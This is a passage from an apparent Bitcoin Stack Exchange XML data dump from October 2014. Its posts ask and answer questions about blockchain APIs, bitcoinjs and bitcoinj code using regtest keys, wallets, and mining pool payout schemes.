&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Endianness&quot; rel=&quot;noreferrer&quot;&gt;'endianess'&lt;/a&gt; i.e. having to reverse binary digits before interpretation and &lt;/li&gt;&#xA;&lt;li&gt;some of the interesting values associated with a transaction have to be calculated e.g. for &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;noreferrer&quot;&gt;addresses&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://php.net/manual/en/book.bc.php&quot; rel=&quot;noreferrer&quot;&gt;'big numbers'&lt;/a&gt; where the numbers used internally are so huge you may need custom code/libraries to deal with them&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Comparing your results to those that are freely available via the &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;noreferrer&quot;&gt;blockchain&lt;/a&gt; and &lt;a href=&quot;https://blockexplorer.com/&quot; rel=&quot;noreferrer&quot;&gt;blockexplorer&lt;/a&gt; as well as the &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;noreferrer&quot;&gt;bitcoind.exe API&lt;/a&gt; would be a must.  Otherwise it is easy to pull out seemingly valid transactions that are just nonsense.  I speak from experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While writing your own parser for the blockchain is a worthwhile learning exercise you would be much better off IMHO using the bitcoin API and ignoring the underlying blockchain database for any 'real' code.&lt;/p&gt;&#xA;" OwnerUserId="19410" LastActivityDate="2014-10-04T12:07:01.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30823" PostTypeId="1" AcceptedAnswerId="30861" CreationDate="2014-10-04T14:06:17.557" Score="0" ViewCount="191" Body="&lt;p&gt;chain.com's Bitcoin API is super easy to implement Bitcoin function into my iOS App. Checking the balance of a specific bitcoin address and retrieving transactions are very convenient. However, unlike luxstack.com, chain.com seems not to have &quot;Creating Bitcoin Address&quot; feature. Is it right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI &lt;a href=&quot;https://chain.com/docs&quot; rel=&quot;nofollow&quot;&gt;https://chain.com/docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19338" LastActivityDate="2014-10-06T22:54:40.147" Title="chain.com Bitcoin API: Does not provide “making wallet” feature?" Tags="|wallet|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30824" PostTypeId="5" CreationDate="2014-10-04T15:58:49.170" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-10-04T15:58:49.170" LastActivityDate="2014-10-04T15:58:49.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30825" PostTypeId="4" CreationDate="2014-10-04T15:58:49.170" Score="0" Body="Transactions which aren't relayed by most nodes because they deviate from their standardness rules yet are valid according to the consensus rules. Transactions can be non-standard for example because they send to an unknown output script type or because they use script opcodes or other features that only serve as a mechanism for future protocol upgrades and whose meaning is currently undefined." OwnerUserId="5406" LastEditorUserId="121614" LastEditDate="2022-12-15T22:28:12.067" LastActivityDate="2022-12-15T22:28:12.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30826" PostTypeId="5" CreationDate="2014-10-04T16:16:31.287" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-10-04T16:16:31.287" LastActivityDate="2014-10-04T16:16:31.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30827" PostTypeId="4" CreationDate="2014-10-04T16:16:31.287" Score="0" Body="Collects questions concerned with the stability and volatility of the exchange rate of Bitcoin." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-10-04T16:16:31.287" LastActivityDate="2014-10-04T16:16:31.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30828" PostTypeId="1" AcceptedAnswerId="30843" CreationDate="2014-10-04T17:18:24.307" Score="1" ViewCount="6315" Body="&lt;p&gt;As the title said, what is the difference between the bitcoin wallet and the bitcoin core, do i have to install both of them to work? Can I just have a bitcoin wallet?&lt;/p&gt;&#xA;" OwnerUserId="19582" LastActivityDate="2017-12-17T00:44:47.363" Title="Difference between a bitcoin wallet and the blockchain" Tags="|blockchain|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30829" PostTypeId="1" AcceptedAnswerId="30831" CreationDate="2014-10-04T18:48:20.597" Score="1" ViewCount="182" Body="&lt;p&gt;Blockchain.info is sending my wallet backups over and over again;&#xA;is this someone trying to hack my wallet or something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't done anything on my account, no settings changed et cetera.&lt;/p&gt;&#xA;" OwnerUserId="17132" LastEditorUserId="2306" LastEditDate="2014-10-04T19:51:18.587" LastActivityDate="2014-10-05T04:21:42.873" Title="Blockchain.info keeps sending wallet backups" Tags="|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30830" PostTypeId="2" ParentId="30475" CreationDate="2014-10-05T00:06:22.097" Score="1" Body="&lt;p&gt;Gavin Andresen wrote a bit on the topic here: &lt;a href=&quot;https://gist.github.com/gavinandresen/e20c3b5a1d4b97f79ac2&quot; rel=&quot;nofollow noreferrer&quot;&gt;O(1) Block Propagation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, he is implementing the conclusion from &lt;a href=&quot;https://bitcoin.stackexchange.com/a/30480/5406&quot;&gt;your answer&lt;/a&gt;, a way to get around resending all transactions when propagating a new block. He is working on implementing &lt;a href=&quot;https://bitcoin.stackexchange.com/q/30648/5406&quot;&gt;Invertible Bloom Lookup Tables&lt;/a&gt; to use for set reconciliation. IBLT excel at comparing sets of significant overlap, and therefore are very efficient at relaying the differences between included transactions and Mempool of recipient.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-10-05T00:06:22.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30831" PostTypeId="2" ParentId="30829" CreationDate="2014-10-05T04:21:42.873" Score="1" Body="&lt;p&gt;This is standard if you have &lt;em&gt;backup wallet&lt;/em&gt; chosen in your settings. Alternatively, email backups will send a &lt;code&gt;wallet.aes.json&lt;/code&gt; file to your specified email address. A few things to keep in mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;aes&lt;/code&gt; part means your wallet is encrypted using your Blockchain login (and secondary password). If your password is changed then your newer wallet files can only be decrypted using the new passwords&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;json&lt;/code&gt; part means the decrypted &lt;code&gt;aes&lt;/code&gt; is a readable &lt;code&gt;json&lt;/code&gt; format which can be read by humans and imported by various programs&lt;/li&gt;&#xA;&lt;li&gt;Changing your password will change your decryption mnemonic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The backup &lt;code&gt;wallet.aes.json&lt;/code&gt; files are good for recovering old wallets but if your BTC has been moved from those addresses it does not recover your money.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-05T04:21:42.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30832" PostTypeId="2" ParentId="30828" CreationDate="2014-10-05T06:17:43.680" Score="1" Body="&lt;p&gt;As stated in comments, the blockchain is a public record of &lt;em&gt;all&lt;/em&gt; bitcoin transactions. If a wallet is like a bank account, the blockchain is the currency system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a new or casual user, it might be easiest to use a remote web-based wallet, rather then one on your own device. In that case, you don't really need to worry about interacting with the blockchain. For more information on remote wallets you can use, go here &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/choose-your-wallet&lt;/a&gt; Click the &quot;web&quot; icon and you will see seven options to consider.&lt;/p&gt;&#xA;" OwnerUserId="19584" LastActivityDate="2014-10-05T06:17:43.680" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30833" PostTypeId="1" CreationDate="2014-10-05T07:26:05.027" Score="0" ViewCount="1803" Body="&lt;p&gt;I make a JSON call to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tobtc?currency=USD&amp;amp;value=1&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tobtc?currency=USD&amp;amp;value=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a free api with a request limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just received my api_code via email. This is blockchain.info's example of how to use it&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once approved the API Code can be passed to all requests in the &quot;api_code&quot; parameter e.g. &lt;a href=&quot;https://blockchain.info?api_code=&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info?api_code=&lt;/a&gt;$your_code&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am guessing that they mean with PHP (because of the dollar sign) as when I type into my address bar&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/tobtc?api_code=000my0-api00-code-0000-000000000&amp;amp;currency=USD&amp;amp;value=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The data does not any look different when I use the api code with the dollar&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/tobtc?api_code=$000my0-api00-code-0000-000000000&amp;amp;currency=USD&amp;amp;value=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though I am unsure of how to tell what is the correct way as I can access this free api with and without an api code (with a request limit). How do I tell if I am adding it correctly?&lt;/p&gt;&#xA;" OwnerUserId="14316" LastActivityDate="2017-09-17T10:29:32.817" Title="using blockchain.info api_code" Tags="|blockchain.info|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30834" PostTypeId="1" CreationDate="2014-10-05T11:02:32.007" Score="2" ViewCount="4289" Body="&lt;p&gt;I know how to create a basic TX:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var bitcoin = require('bitcoinjs-lib')&#xA;&#xA;var tx = new bitcoin.Transaction()&#xA;&#xA;// Add the input (who is paying) of the form [previous transaction hash, index of the output to use]&#xA;tx.addInput(&quot;aa94ab02c182214f090e99a0d57021caffd0f195a81c24602b1028b130b63e31&quot;, 0)&#xA;&#xA;// Add the output (who to pay to) of the form [payee's address, amount in satoshis]&#xA;tx.addOutput(&quot;THEADDRESS&quot;, 15000)&#xA;&#xA;// Initialize a private key using WIF&#xA;key = bitcoin.ECKey.fromWIF(&quot;L1uyy5qTuGrVXrmrsvHWHgVzW9kKdrp27wBC7Vs6nZDTF2BRUVwy&quot;)&#xA;&#xA;// Sign the first input with the new key&#xA;tx.sign(0, key)&#xA;&#xA;// Print transaction serialized as hex&#xA;console.log(tx.toHex())&#xA;// =&amp;gt; 0100000001313eb630b128102b60241ca895f1d0ffca2170d5a0990e094f2182c102ab94aa000000008a47304402200169f1f844936dc60df54e812345f5dd3e6681fea52e33c25154ad9cc23a330402204381ed8e73d74a95b15f312f33d5a0072c7a12dd6c3294df6e8efbe4aff27426014104e75628573696aed32d7656fb35e9c71ea08eb6492837e13d2662b9a36821d0fff992692fd14d74fdec20fae29128ba12653249cbeef521fc5eba84dde0689f27ffffffff01983a0000000000001976a914ad618cf4333b3b248f9744e8e81db2964d0ae39788ac00000000&#xA;&#xA;// You could now push the transaction onto the Bitcoin network manually (see https://blockchain.info/pushtx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I didn't find out how I could create a OP_RETURN transaction with bitcoinjs-lib in Node.js. Does anyone know?&lt;/p&gt;&#xA;" OwnerUserId="18704" LastEditorUserId="307" LastEditDate="2015-01-06T18:59:10.277" LastActivityDate="2021-09-23T21:06:20.937" Title="Create OP_RETURN tx with Bitcoinjs-lib" Tags="|raw-transaction|bitcoinjs|node.js|op-return|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30835" PostTypeId="1" CreationDate="2014-10-05T11:19:02.870" Score="1" ViewCount="226" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=281180.0&quot; rel=&quot;nofollow&quot;&gt;See this post&lt;/a&gt;. Meni believes that this could be the correct solution to the mining pool centralization problem, and that are no known drawbacks. There is some work that needs to be done to write, test and integrate the code of course (perhaps money could be raised for this via Lighthouse).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is multi-PPS indeed the right solution?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-03-16T07:46:22.973" LastActivityDate="2016-03-16T07:46:22.973" Title="Is multi-PPS the correct solution to the mining centralization problem?" Tags="|mining-pools|decentralization|pool-payout-methods|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30837" PostTypeId="1" AcceptedAnswerId="35430" CreationDate="2014-10-05T16:36:12.803" Score="6" ViewCount="3066" Body="&lt;p&gt;I'm just learning about Bitcoin and if I understand its conception properly, mining bitcoins means validation of transactions by computing a hash which should satisfy some preset condition. In other words, &lt;strong&gt;mining == servicing network and getting money for it&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Satoshi was the first user, &lt;strong&gt;how did he earn his bitcoins if there were no transactions&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand, that in the very beginning some geeks were involved in the network, so maybe 5 or 10 persons' (first testers) transactions and &lt;strong&gt;their validation (mining)&lt;/strong&gt; generated a lot of bitcoins, because of the low difficulty and high reward. But how did the very first coins get rewarded?&lt;/p&gt;&#xA;" OwnerDisplayName="user19591" LastEditorUserId="5406" LastEditDate="2016-03-10T09:47:54.813" LastActivityDate="2021-03-16T14:47:32.897" Title="How did Satoshi manage to mine so many bitcoins being the first user of the system?" Tags="|mining-reward|satoshi-nakamoto|empty-blocks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30838" PostTypeId="1" CreationDate="2014-10-05T17:36:05.707" Score="1" ViewCount="307" Body="&lt;p&gt;I am quite new to Bitcoin. I am trying to use Bitcoinj with regtest mode.&#xA;I have created the following application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class TestBitcoinj {&#xA;    private final static BigInteger ONE = new BigInteger(&quot;12345&quot;);&#xA;    private final static BigInteger TWO = new BigInteger(&quot;67890&quot;);&#xA;&#xA;    public static void main(String ... args) throws Exception {&#xA;        final ECKey from = new ECKey(ONE);&#xA;        final ECKey to = new ECKey(TWO);&#xA;        System.out.format(&quot;from: %s, to: %s\n&quot;, from.toAddress(RegTestParams.get()), to.toAddress(RegTestParams.get()));&#xA;&#xA;        final WalletAppKit kit = new WalletAppKit(RegTestParams.get(), new File(&quot;/tmp/bitcoinj&quot;), &quot;mirko_btc&quot;) {&#xA;            protected void onSetupCompleted() {&#xA;                System.out.println(&quot;Key chain size: &quot; + wallet().getKeychainSize());&#xA;                if (wallet().getKeys().isEmpty()) {&#xA;                    wallet().addKey(from);&#xA;                }&#xA;            }&#xA;        };&#xA;&#xA;        kit.setAutoSave(true);&#xA;        kit.connectToLocalHost();&#xA;        System.out.println(&quot;State: &quot; + kit.startAndWait());&#xA;&#xA;        System.out.println(&quot;Address: &quot; + kit.wallet().getKeys().get(0).toAddress(RegTestParams.get()));&#xA;        System.out.println(&quot;Private key: &quot; + kit.wallet().getKeys().get(0).getPrivateKeyEncoded(RegTestParams.get()));&#xA;        System.out.println(&quot;Balance: &quot; + kit.wallet().getWatchedBalance());&#xA;        System.out.println(&quot;Done&quot;);&#xA;        System.out.println(&quot;State: &quot; + kit.stopAndWait());&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have started bitcoind with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -regtest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have generated some blocks just to have some money:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli -regtest setgenerate true 101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I have run my program just to have the private key, which is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Chiave privata: cNQM8FUZ9tJeNKNNJPiwHZpWkREqzzk5JhioYJWZaszHa5vgsLct&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I import that private key in bitcoind using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli -regtest importprivkey cNQM8FUZ9tJeNKNNJPiwHZpWkREqzzk5JhioYJWZaszHa5vgsLct mirko4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, I have noticed that my program dumps the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Indirizzo: mrtwCcpmvRYU5wBDaUP8LiaW85nGEkbauM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;whereas if I run the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli -regtest getaccountaddress mirko4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mrXizN9m9cyKgvBKqCVzTvMAWJoVgnBBev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That address is far different from the one I have dumped using Bitcoinj. However, the private key should be the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably I am missing something, but I can not figure out what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for your support.&lt;/p&gt;&#xA;" OwnerUserId="19593" LastEditorUserId="2306" LastEditDate="2014-10-05T18:01:08.877" LastActivityDate="2014-10-06T08:35:14.247" Title="Key exported from BitcoinJ is different from the key shown by bitcoind" Tags="|testnet|bitcoinj|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30839" PostTypeId="2" ParentId="28407" CreationDate="2014-10-05T18:03:35.043" Score="0" Body="&lt;p&gt;I had this problem when i did a system restore; I found that when I downloaded both 32 bit and 64 bit java, multibit opened again.&lt;/p&gt;&#xA;" OwnerUserId="19594" LastEditorUserId="2306" LastEditDate="2014-10-05T18:27:03.657" LastActivityDate="2014-10-05T18:27:03.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30840" PostTypeId="2" ParentId="30835" CreationDate="2014-10-05T19:10:27.350" Score="1" Body="&lt;p&gt;First it should be understood that Multi-PPS aspires to solve only one aspect of mining centralization - the centralization of many small miners in a few large pools. It doesn't solve the problem of huge mining entities that enjoy economies of scale - though, I don't think that problem is too great to begin with, as I claimed in &lt;a href=&quot;http://fieryspinningsword.com/2013/10/02/asic-will-not-centralize-bitcoin-mining/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the assumption that the cause of mining pool centralization is the built-in performance advantage (in terms of variance and fees) of large pools (as opposed to psychological factors and features), any solution must be based on having each miner target multiple pools simultaneously. This way, there can be many small pools while the miners enjoy the performance of large pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multi-PPS specifically is best suited for a future scenario when Bitcoin mining is dominated by transaction fees. However, that scenario has some inherent challenges that will need to be solved in the context of any reward framework, Multi-PPS included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multi-PPS is an extension of classical PPS, in the same way that &lt;a href=&quot;https://bitcointalk.org/index.php?topic=78031.0;all&quot; rel=&quot;nofollow&quot;&gt;mining in multiple pools&lt;/a&gt; is an extension of classical PPLNS. Multi-PPS allows PPS with low fees, and mining in multiple pools allows PPLNS with low variance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For either of these to work, mining pools need to become more of a commodity, so that the mining client can automatically connect to many pools to optimize the performance.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-10-05T19:10:27.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30841" PostTypeId="2" ParentId="30838" CreationDate="2014-10-05T19:21:10.257" Score="1" Body="&lt;p&gt;Sorry I have found the solution. The dumped privkey is not comparable to the address. If I want to use the dumped format, I have to use the class DumpedPrivateKey. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After  Aussie Cryptocurrency's request, I am pointing out the problem in the code.&#xA;What I was doing was trying to import the private key of the '&lt;em&gt;from&lt;/em&gt;' keypair using bitcoin-cli. However, it is important to know that such operations must be run using DumpedPrivateKey: this class can manage private keys in the format that bitcoin-cli likes, whereas in my previous tests I was trying to import the private key simply Base-58 encoding the private key. The odd thing is that if you do so, the key seems to be imported, but the private key is completely different to the expected one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="19593" LastEditorUserId="19593" LastEditDate="2014-10-06T08:35:14.247" LastActivityDate="2014-10-06T08:35:14.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30843" PostTypeId="2" ParentId="30828" CreationDate="2014-10-06T01:21:19.910" Score="2" Body="&lt;p&gt;Here's the simplest way to visualise it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the Blockchain is an accounting ledger showing daily spendings&lt;/li&gt;&#xA;&lt;li&gt;a wallet is like a keychain, holding the keys to unlock your BTC from the safe&lt;/li&gt;&#xA;&lt;li&gt;the key can be copied ie if you share your private key or the key is stolen then it can be used to open the lock (perhaps a 3D printer analogy where anyone can make use of your key would help)&lt;/li&gt;&#xA;&lt;li&gt;if you have the keys for an address holding Bitcoin AND the Blockchain shows BTC at that address, then you can spend the ฿ as long as someone else hasn't used the same key to unlock it before you&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-06T01:21:19.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30844" PostTypeId="1" AcceptedAnswerId="30853" CreationDate="2014-10-06T01:29:29.533" Score="0" ViewCount="2665" Body="&lt;p&gt;How do I import private keys en mass from a text file? They are in Wallet Import Format, e.g. 5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would there be any limitations to the number of keys I can import?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you and please forgive me for such a question, I'm quite new to this.&lt;/p&gt;&#xA;" OwnerUserId="19599" LastEditorUserId="2306" LastEditDate="2014-10-06T06:00:16.130" LastActivityDate="2014-10-06T14:35:29.367" Title="How do I import private keys en mass from a text file?" Tags="|private-key|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30845" PostTypeId="1" CreationDate="2014-10-06T06:40:07.423" Score="4" ViewCount="1156" Body="&lt;p&gt;I am trying to use Bitcoinj for my app.&#xA;I am using regtest mode.&#xA;I have a balance of 42 BTC on my account:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli -regtest getbalance mirko3&#xA;-&amp;gt; 42.00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My code follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class ProvaBitcoinj {&#xA;    public static void main(String ... args) throws Exception {&#xA;        final DumpedPrivateKey dumpedPrivateKey = new DumpedPrivateKey(RegTestParams.get(), &quot;cNDSqymhJbqmRJRpx3QPM8KBZuca2WePFkzj2uezp5TZhqHX4q4d&quot;);&#xA;        final ECKey key = dumpedPrivateKey.getKey();&#xA;        System.out.println(&quot;BTC address that will be added: &quot; + key.toAddress(RegTestParams.get()));&#xA;        System.out.println(&quot;Private key that will be added: &quot; + key.getPrivateKeyEncoded(RegTestParams.get()));&#xA;&#xA;        final WalletAppKit kit = new WalletAppKit(RegTestParams.get(), new File(&quot;/tmp/bitcoinj&quot;), &quot;test_btc&quot;) {&#xA;            protected void onSetupCompleted() {&#xA;                System.out.println(&quot;Key chain size: &quot; + wallet().getKeychainSize());&#xA;                for (ECKey k : wallet().getKeys()) {&#xA;                    wallet().removeKey(k);&#xA;                }&#xA;&#xA;                wallet().addKey(key);&#xA;            }&#xA;        };&#xA;        kit.setAutoSave(true);&#xA;        kit.connectToLocalHost();&#xA;        System.out.println(&quot;Started!: &quot; + kit.startAndWait());&#xA;&#xA;&#xA;        System.out.println(&quot;Keys: &quot; + kit.wallet().getKeychainSize());&#xA;        System.out.println(&quot;BTC Address: &quot; + kit.wallet().getKeys().get(0).toAddress(RegTestParams.get()));&#xA;        System.out.println(&quot;Private key: &quot; + kit.wallet().getKeys().get(0).getPrivateKeyEncoded(RegTestParams.get()));&#xA;&#xA;        System.out.println(&quot;Balance &quot; + kit.wallet().getBalance());&#xA;&#xA;//      kit.wallet().addEventListener(new AbstractWalletEventListener() {&#xA;//          @Override&#xA;//          public void onCoinsReceived(Wallet wallet, Transaction tx,&#xA;//                  BigInteger prevBalance, BigInteger newBalance) {&#xA;//              System.out.println(&quot;TX!!!!!!!!!!!!!&quot;);&#xA;//              System.out.println(tx.getValueSentToMe(wallet));&#xA;//              System.out.println(wallet.getBalance());&#xA;//          }&#xA;//      });&#xA;//      &#xA;//      Thread.sleep(Long.MAX_VALUE);&#xA;        for (Transaction tx : kit.wallet().getTransactions(true)) {&#xA;            System.out.println(tx.getValueSentFromMe(kit.wallet()));&#xA;        }&#xA;        System.out.println(&quot;Stopping&quot;);&#xA;        System.out.println(&quot;Stopped!: &quot; + kit.stopAndWait());&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This programs dumps the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BTC address that will be added: mnJRedAFBzRScnnKp5eS5CgR165uGi75tm&#xA;Private key that will be added: cSY1oeXfTADVXg2WnMzR2uMqQWqXNNia424SF2mHRPr54Ruj9Fzs&#xA;Key chain size: 1&#xA;Started!: RUNNING&#xA;Keys: 1&#xA;BTC Address: mnJRedAFBzRScnnKp5eS5CgR165uGi75tm&#xA;Private key: cSY1oeXfTADVXg2WnMzR2uMqQWqXNNia424SF2mHRPr54Ruj9Fzs&#xA;Balance 0&#xA;Stopping&#xA;Stopped!: TERMINATED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have verified that the key pair is correct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli -regtest getaccountaddress mirko3&#xA;-&amp;gt; mnJRedAFBzRScnnKp5eS5CgR165uGi75tm&#xA;bitcoin-cli -regtest dumpprivkey mnJRedAFBzRScnnKp5eS5CgR165uGi75tm&#xA;-&amp;gt; cSY1oeXfTADVXg2WnMzR2uMqQWqXNNia424SF2mHRPr54Ruj9Fzs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also noticed that if I run the commented out code and send some money using bitcoin-cli, I receive correctly events and the wallet is charged with the amount I have sent. At a certain point, I could see my wallet with 2 BTC, but the other 40 ones were never found and, anyway, after some tests also the 2 BTC have disappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am totally confused, any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="19593" LastEditorUserId="-1" LastEditDate="2014-10-06T07:55:08.257" LastActivityDate="2017-02-14T02:43:26.950" Title="Bitcoinj always gets 0 balance" Tags="|bitcoind|bitcoinj|balance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30846" PostTypeId="1" CreationDate="2014-10-06T08:14:20.447" Score="2" ViewCount="547" Body="&lt;p&gt;Last night I observed the following flatline of BTC/USD prices for several hours on Bitstamp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DOMEk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DOMEk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would cause this ?&lt;/p&gt;&#xA;" OwnerUserId="19603" LastActivityDate="2014-10-06T10:20:07.420" Title="What would cause the price of Bitcoin to flatline for several hours on Bitstamp?" Tags="|trading|marketplace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
